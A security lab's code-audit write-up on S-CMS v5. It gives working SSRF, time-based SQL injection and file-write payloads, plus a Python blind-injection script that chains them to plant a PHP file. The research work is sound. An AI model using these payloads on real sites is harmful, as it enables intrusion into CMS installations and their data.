freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

S-CMS的代码审计初探
锐捷天幕安全实验室 2023-12-12 15:55:41 153615

1 环境搭建

审计对象是S-CMS企业建站系统 v5,可以从A5源码、站长之家、源码之家、系统官网等渠道获取源码。
下载链接:https://down.chinaz.com/soft/37664.htm
安装步骤按基本的流程就可以:

1 解压至phpstudy目录
2 访问install,按照步骤进行配置
3 安装完成,开始审计

(注意,可能存在安装后无法正常访问的情况,这个时候需要删除网站根目录下的user.ini文件)
安装好后的目录结构如下:
image

2 SSRF

2.1 漏洞判断

先用常规的危险函数进行全局搜索,在/install/index.php的Getbody()中发现了curl_exec()函数。**curl_exec()**是 PHP 中用于执行 cURL 请求的函数,可能会导致SSRF。
image
观察发现curl_exec()中$ch的$url、$xml、$method参数是由外部传入的,可能存在漏洞。
继续在系统中搜寻有哪些方法调用了getbody()函数。
image
对显示的结果进行过滤,锁定需要通过变量传参的几行代码,然后挨个分析。
image
进入/admin/ajax.php第887行的位置,这里的$url变量是直接通过$_GET获取到的 ,其中没有对$url有任何过滤操作。

2.2 构造payload

可以开始尝试构造payload了,观察发现,只需要传入action和type参数就可以进到case。
image
image
在dnslog上获取一个网址。
通过构造的payload尝试访问dnslog:http://127.0.0.1/1.com.scms5/admin/ajax.php?type=collection&action=all&pageurl=ccfs8w.dnslog.cn

2.3 成功利用

image
(第一次访问时并没有显示。debug后发现是传进去的url双引号被替换了,将双引号去掉就能正常访问。)

3 SQL注入

3.1 代码阅读

分析时发现系统在function.php中对输入的参数都进行了过滤,而系统的大多数文件都包含了function.php。
image
image
对过滤函数进行分析,check_input2过滤得很彻底了,看不出来有什么机会。
但是针对$_POST传入的参数或许能找到突破。
image
这里的if中的意思大概是某些页面可以不用执行inject_check()的过滤。
image
就在该判断语句的上面一行,应该是这些页面需要用到特殊字符的输入。例如member/member_login.php是用户登录界面,用户在输入密码时需要输入特殊字符。
这下需要审计的范围就很窄了,直接开始排查$pages中包含的页面是否有可利用的点,并且是通过$_POST传入的。

3.2 第一次尝试

定位到pay/alipay/notify_url.php文件77行的sql语句中$body[1]似乎是可控的。
image
分析代码执行条件,尝试构造如下payload:
image
但发现sql语句并没有被执行。
debug后发现,在进入notify_url.php一开始,就被if语句拦截了。
image
进入verifyNotify()查看判断条件。直接进入到最终的判断结果吧。
image
这里的判断语句就是用来检验网站是否开启支付宝接口的。需要网站管理员自行配置与支付宝的合作,默认的话$C_alipayid就是没有设置,所以暂时无法绕过if($verigy_result)。
因此整个notify_url.php页面都暂时没有sql注入的审计必要了,但如果构建的CMS有支付宝支付功能,这个页面也是有可能存在sql注入的。

3.3 第二次尝试

对其他几个被inject_check()排除在外的页面进行分析,发现大都过滤的比较彻底。只有在后台找找看,发现/admin/ajax.php中624行的sql语句中的$B_sort、$B_sh无单引号保护,并且是通过$_POST获取的,可能存在SQL注入。
image
观察进入case的条件,和上一个ssrf相似,且若要执行sql语句需要B_title、B_content、B_sort不为空。设计如下payload:
http://127.0.0.1/1.com.scms5/admin/ajax.php?type=bbs&action=edit&B_id=1
B_content=abc&B_sort=2&B_sh=(1/**/and/**/sleep(2))&B_time=123&B_title=abc&B_view=1
image
成功利用。

3.4 第三次尝试

前期发现
上一个SQL注入需要登录后台才能执行,条件比较苛刻。但是目前以普通用户的身份可以访问到的SQL注入部分的参数大都都被进行了过滤。
image
本来是想看看有没有XXE类型的漏洞的,无意中发现了另一种获取前端数据的方法:file_get_contents("php://input");
这一方法不会在function.php中被check_input()过滤,可以一试。
image
经过排查后发现,只有/function/weixin.php能进入到SQL语句,其它文件都被if语句给限制掉了。
进入weixin.php文件开始分析,会发现获取的参数都做了过滤。
image
这里的t()是对输入的参数执行mysqli_real_escape_string(),即对字符串进行转义,这样一来,又排除了很多注入的可能性。
最后定位到weixin.php文件下的events()函数,存在可以注入的sql语句。
image
构造payload
确认了注入点,构造payload就非常简单了,只需要配置对应的参数就行。
首先进入第一个if条件,两个变量都是可以由前端传入的。
image
然后通过$strEvent的判断进入到events方法。
image
最后构造的payload如下:
http://127.0.0.1/1.com.scms5/function/weixin.php?signature=a&echostr=

<xml>
<postObj>a</postObj>
<FromUserName>a</FromUserName>
<ToUserName>a</ToUserName>
<MsgType>event</MsgType>
<Event>CLICK</Event>
<EventKey>_(1 and sleep(5))</EventKey>
</xml>

利用成功
image
image

4 文件写入

4.1 文件写入

在/data/core.php中发现存在从外部获取文本并写入文件的操作:file_put_contents($C_dirx . "media/" . $name, $url);
对定位到的downpic()函数进行分析,发现该函数远程访问了传入的$url,同时创建了一个新的文件,并将从$url返回的内容保存到media目录下的新文件中。该函数可能存在文件写入漏洞。
image
在系统中全局搜索downpic(),然后针对有可控参数的部分开始分析。
image
最后定位到/admin/ajax.php的885行。然后对如下代码块进行分析,我们的目的是到达第80行的downpic()。

case "collection_all":
$url=$_GET["pageurl"];
$id=intval($_GET["id"]);

$sql="select * from ".TABLE."collection where C_id=".$id;
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if(mysqli_num_rows($result) > 0) {
    $C_url=$row["C_url"];
    $C_start=$row["C_start"];
    $C_end=$row["C_end"];
    $C_titlestart=$row["C_titlestart"];
    $C_titleend=$row["C_titleend"];
    $C_contentstart=$row["C_contentstart"];
    $C_contentend=$row["C_contentend"];
    $C_pic=$row["C_pic"];
    $C_nsort=$row["C_nsort"];
    $C_code=$row["C_code"];
    $C_pagestart=$row["C_pagestart"];
    $C_pageend=$row["C_pageend"];
    $C_timestart=$row["C_timestart"];
    $C_timeend=$row["C_timeend"];
}
$contentx = get_gb_to_utf8(getbody($url,"","GET"));
$contentx = str_Replace(PHP_EOL, "", $contentx);

if (strpos($contentx, $C_titlestart) !== false && strpos($contentx, $C_contentstart) !== false) {
    $page_title = trim(strip_tags(splitx(splitx($contentx, $C_titlestart, 1) , $C_titleend, 0)));

    if($C_timestart!="" && $C_timeend!=""){
    	$page_time = trim(strip_tags(splitx(splitx($contentx, $C_timestart, 1) , $C_timeend, 0)));
    	if(!is_Date($page_time)){
    		$page_time = date('Y-m-d H:i:s');
    	}
    }else{
    	$page_time = date('Y-m-d H:i:s');
    }

    $page_content = clearjscss(splitx(splitx($contentx, $C_contentstart, 1) , $C_contentend, 0));
    $page_content = str_Replace("<div", "<p", $page_content);
    $page_content = str_Replace("</div>", "</p>", $page_content);
    $page_content = addsrc($page_content);
    $path = str_replace(splitx($url, "/", count(explode("/", $url))) , "", $url);

    $sql2 = "select * from ".TABLE."news where N_title like '%" . $page_title . "%'";
    $result2 = mysqli_query($conn, $sql2);
    $row2 = mysqli_fetch_assoc($result2);
    if (mysqli_num_rows($result2) <= 0) {
        if (strpos($page_content, " src=\"") !== false) {
            $src = explode(" src=\"",$page_content);
            for ($jj = 1; $jj < dr_count($src); $jj++) {

                if (substr(splitx($src[$jj], "\"", 0),0,4)=="http" || substr(splitx($src[$jj], "\"", 0),0,2)=="//") {
                    $srcx = splitx($src[$jj], "\"", 0);
                } else {
                    if(substr(splitx($src[$jj], "\"", 0),0,1)=="/"){
                        $srcx = "http://".splitx($url,"/",2).splitx($src[$jj], "\"", 0);
                    }else{
                        $srcx = str_replace(splitx($url,"/",count(explode("/",$url))-1),"",$url) . splitx($src[$jj], "\"", 0);
                    }
                }

                if ($C_pic == 1) {
                    $page_content = str_Replace(splitx($src[$jj], "\"", 0) , $C_dir . "media/" . downpic($srcx) , $page_content);
                } else {
                    $page_content = str_Replace(splitx($src[$jj], "\"", 0) , $srcx, $page_content);
                }
            }

            if (substr(splitx($src[1], "\"", 0),0,4)=="http" || substr(splitx($src[1], "\"", 0),0,2)=="//") {
                $picx = splitx($src[1], "\"", 0);
            } else {
                if(substr(splitx($src[1], "\"", 0),0,1)=="/"){
                    $picx = "http://".splitx($url,"/",2).splitx($src[1], "\"", 0);
                }else{
                    $picx = str_replace(splitx($url,"/",count(explode("/",$url))-1),"",$url) . splitx($src[1], "\"", 0);
                }
            }

            $N_pic = "media/" . downpic($picx);
        } else {
            $N_pic = "images/nopic.png";
        }

        mysqli_query($conn, "insert into ".TABLE."news(N_title,N_content,N_pagetitle,N_keywords,N_description,N_short,N_sort,N_pic,N_view,N_date,N_author) values('" . lang_add("", $page_title) . "','" . lang_add("", $page_content) . "','" . lang_add("", $page_title) . "','" . lang_add("", $page_title) . "','" . lang_add("", mb_substr(trim(strip_tags(clearjscss($page_content))) , 0, 100,"utf-8")) . "','" . lang_add("", mb_substr(trim(strip_tags(clearjscss($page_content))) , 0, 100,"utf-8")) . "'," . intval($C_nsort) . ",'" . $N_pic . "',100,'" . $page_time . "','" . $_SESSION["user"] . "')");
    }
    echo "success";
}else{
    echo "error";
}
break;

首先进入collection_all分支,这里和上面的SSRF一样。然后会通过$_GET["pageurl"]获取一个url并赋予$url。接下来会通过getbody()获取链接的内容,并保存到$contentx:
image
第一个if条件,检查$contentx是否包含$C_titlestart、$C_titlestart。
image
这里的$C_titlestart与 $C_contentstart是读取于数据库,进入if后根据定义的文本头,提取$contentx中的正文内容并将其保存到$page_content。
image
image
然后进入下一个if判断。值得注意的是$result2是可控的,判断输入的$page_title是否已经存在于数据库。如果没有,则将提取出的$page_title 所以在构造时每次输入的$page_title部分都要有所变化。
image
剩下的操作都可以直接过掉了,如下是我构造的payload:
http://127.0.0.1/1.com.scms5/admin/ajax.php?type=collection&action=all&id=1&pageurl=http://127.0.0.1/test.php
test.php

<div class="second-title">axasdftwtg</div><div class="article" id="article"> src="http://127.0.0.1/shell.php"

执行后,登入后台可以看到文件已经保存到/media中。
image
shell.php的内容为:<?php phpinfo();?>

4.2 获取文件路径

虽然成功写入了php文件,但是分析代码可以发现,文件名是随机生成的,且无法通过前端访问/media目录得知文件路径。
image
这里我们可以用到之前发现的sql注入漏洞。
继续分析代码可以看到,downpic()的返回值会存入sl_news数据表中,而这个返回值,正是随机生成的php文件名。
image
所以,最后的任务已经明了了,只需要通过sql注入爆出sl_news数据表中N_pic的信息。
但是我们之前发现的sql注入漏洞,只能从$B_sort、$B_sh注入,而这两个字段的格式都是int,只能通过盲注的方法爆出字段了。
继续观察数据库,发现新生成的文件名称总是会显示在数据表的最下面,如果能倒着提取,可以节省相当一部分时间。
image
利用MySQL 的内置函数 REVERSE方法可以实现 group_concat(N_pic)的反转输出,基于此,编写如下的盲注脚本:

import  requests

if __name__ == '__main__':
    url = "http://127.0.0.1/1.com.scms5/admin/ajax.php?type=bbs&action=edit&B_id=1"
    #SELECT concat(N_pic) FROM sl_news ORDER BY N_id DESC;

    cookies = "count_all=0; authx=; userx=; passx=; user=admin; pass=5c8305878324a3b27e3d21b412598654; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; add=%E6%9C%AC%E5%9C%B0%E6%9C%AC%E5%9C%B0%E6%9C%AC%E5%9C%B0; PHPSESSID=4rd1mp03mae7k6sh1rmtlnjf0l"
    headers = {
        "Cookie": cookies,  # 添加你的 cookie 字符串到请求头部
        # 其他可能需要的请求头部信息
    }
    filename = ""
    for i in range(1,22):
        for j in range(0,128):
            payload = "(1 and (if(ascii(substr((SELECT REVERSE(group_concat(N_pic)) FROM sl_news),%d,1))=%d,sleep(2),2)))"%(i,j)

            data = {
                'B_content' : 'abc',
                'B_sort' : 1,
                'B_sh' : payload,
                'B_time' : '123',
                'B_title' : 'abc',
                'B_view' : 1
            }
            # response = requests.post(url, data=data, headers=headers)
            try:
                res = requests.post(url, data=data, headers=headers, timeout=2)
            except requests.exceptions.RequestException as e:  # 连接超时 sleep运行成功
                filename += chr(j)
                print(filename)
                break
            if filename.endswith(chr(0)):  # ascii 值0为空字符 此时已经读取所有数据 退出循环
                break
    # print('payload:', payload)
    # print('group_concat(column:):', filename.strip(chr(0)))
    print('filename: ',filename[::-1])

运行后可以爆出随机生成的文件名。
image

4.3 成功利用

image

# 渗透测试 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
本文为 锐捷天幕安全实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
锐捷天幕安全实验室 LV.4
天幕安全实验室隶属于锐捷网络安全产品事业部,专注于安全威胁监测分析与研究,攻防对抗技术研究,研究目标包括 Botnet、僵木蠕分析,APT 高级威胁、勒索、挖矿,WEB 与系统漏洞分析 以及最新的攻防技巧研究,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑!
  • 22 文章数
  • 45 关注者
Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)
2024-11-25
Weblogic CVE-2022-21350 RCE漏洞分析
2024-11-24
真实较量|浅谈蜜罐场景下的攻与防
2024-11-10
文章目录